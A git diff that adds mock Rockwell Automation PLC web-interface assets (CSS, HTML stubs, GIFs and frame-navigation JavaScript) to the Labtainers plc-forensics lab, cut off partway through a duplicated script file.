a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity.html new file mode 100644 index 000000000..5beb95eb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity.html new file mode 100644 index 000000000..b05449864 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity.html @@ -0,0 +1,87 @@ + + + + + + + + + + + + +
+ + + + + + + + + + + + +
Device IdentityNetwork ConfigurationDevice ServicesEmail Configuration
+ + + + + + + +

+ + + + +
+
+ + + + + + + + + + + + + + + + + + + + +
Name and Contact + Information
Device Name
Device Description
Device Location
Contact Info
Contact Info

diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/identity_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/identity_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if 